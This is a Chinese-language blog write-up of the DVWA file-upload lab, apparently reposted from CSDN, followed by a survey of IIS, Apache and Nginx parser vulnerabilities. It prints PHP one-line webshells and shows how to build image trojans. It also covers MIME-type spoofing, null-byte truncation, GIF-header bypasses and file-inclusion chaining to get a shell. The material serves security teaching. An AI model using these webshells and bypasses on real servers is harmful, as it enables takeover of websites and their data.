DVWA之文件上传漏洞

文件上传漏洞
文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
1 Webshell简介
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测。
一句话木马:<?php @eval($_POST[cmd]); ?>
文件包含与文件上传结合:

1 .制作图片马
2.菜刀链接图片(失败)
3. 包含图片马
4.包含的连接放进菜刀链接

1.文件上传图片马
2.包含图片马(反弹shell)
3.监听拿shell
基本流程
1.图片是否上传成功
2.上传的内容是否被感染
3.上传的域名是否是目标服务器 如果不是判断图片是否解析
4.上传的目录是否支持解析
5.判断黑白名单验证

Low:
源代码:
在这里插入图片描述
服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
如果上传成功,则会提示 路径+succesfully uploaded! 如果上传失败,则会提示 Your image was not uploaded。

<?php @eval($_POST['xie']); ?>

在这里插入图片描述
可以看到,我们的一句话木马已经成功上传了,接下来我们就可以用菜刀连接了。 连接的url是

http://192.168.70.143/DVWA/hackable/uploads/hackable/uploads/1ma.php
在这里插入图片描述

图片木马
直接连接图片木马(成功)
http://192.168.70.143/DVWA/hackable/uploads/1.png
在这里插入图片描述
在这里插入图片描述
包含图片木马的链接菜刀
http://192.168.70.143/dvwa/vulnerabilities/fi/?page=http://192.168.70.143/DVWA/hackable/uploads/1.png
在这里插入图片描述
Medium:
源代码:
在这里插入图片描述
服务器对上传文件的大小和类型做了限制。只允许上传小于 100000 字节并且文件type类型是image/jpeg或 image/png 的。
方法一:抓包修改文件的type
因为这里过滤的是文件的上传类型,而不是文件的后缀名
直接上传 1.php 的一句话木马
通过burpsuite抓包,默认type类型是application/octet-stream
在这里插入图片描述
我们将其类型改为 image/jpeg,然后上传,可以看到,已经上传成功!
在这里插入图片描述
然后直接通过中国菜刀连接url: http://192.168.70.143/DVWA/hackable/uploads/hackable/uploads/1ma.php
即可拿下网站Webshell

方法二:00截断
在php<5.3.4中,处理字符串的函数认为0x00是终止符。那么我们可以利用 00截断 漏洞来上传我们的一句话木马。网站上传函数处理1.php%00.jpg时,首先后缀名是合法的jpg格式,可以上传,在保存文件时,使用burpsuite进行包拦截,找到上传的路径,把文件名改为 1.php[空格].jpg ,十六进制查看,空格的十六进制代码为20,将其修改为 00。后端在判断文件后缀名的时候遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀 名为 1.php。然后我们就可以用我们的菜刀连接了。
High:
源代码:

strrpos(string , find ,start) 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length) 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
strtolower(string) 返回给定字符串的小写
getimagesize(string) :函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING级的错误。所以 getimagesize函数的作用是判断上传的文件是不是有效的图片
move_uploaded_file(file,newlocal) 函数表示把给定的文件移动到新的位置
所以 $uploaded_ext 表示的是上传文件的后缀名 ,这里限制上传的文件的后缀名必须以 jpg 、jpeg 或 png 结尾,同时大小<100000,同时上传的文件必须是有效的图片格式(不只是以图片的格式结尾,而且文件内容是图片格式的)。
1.直接上传图片木马
cmd命令行下: copy /b 1.jpg+1.php 1.jpg
在这里插入图片描述
2.直接上传一句话木马,然后把文件名改为 1.jpg,上传失败
后缀是图片格式的不行,文件内容必须还得是图片格式的。
3.文件头部加上了jpg格式的 GIF89 上传成功
Impossible :
源代码
在这里插入图片描述
imagecreatefromjpeg(filename):从给定的文件或url中创建一个新的图片
imagejpeg(image,filename,quality):从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)
imagedestroy(image) : 销毁图像
可以看到,Impossible级别对上传的文件进行了重命名(为md5值,导致00截断无法绕过过滤规则),并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
解析漏洞
1.什么是解析漏洞
以其他格式执行出脚本格式的效果。
2.解析漏洞产生的条件
1.命名规则
2.搭建平台
3.常见的解析漏洞
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
1)目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。
2)文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
3)解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
(二)IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于PHP配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
(三)apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以php 方式执行。
修复方案
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件

(四)Nginx解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

发布了13 篇原创文章 · 获赞 0 · 访问量 285

猜你喜欢

转载自blog.csdn.net/bc221yz/article/details/105023276
今日推荐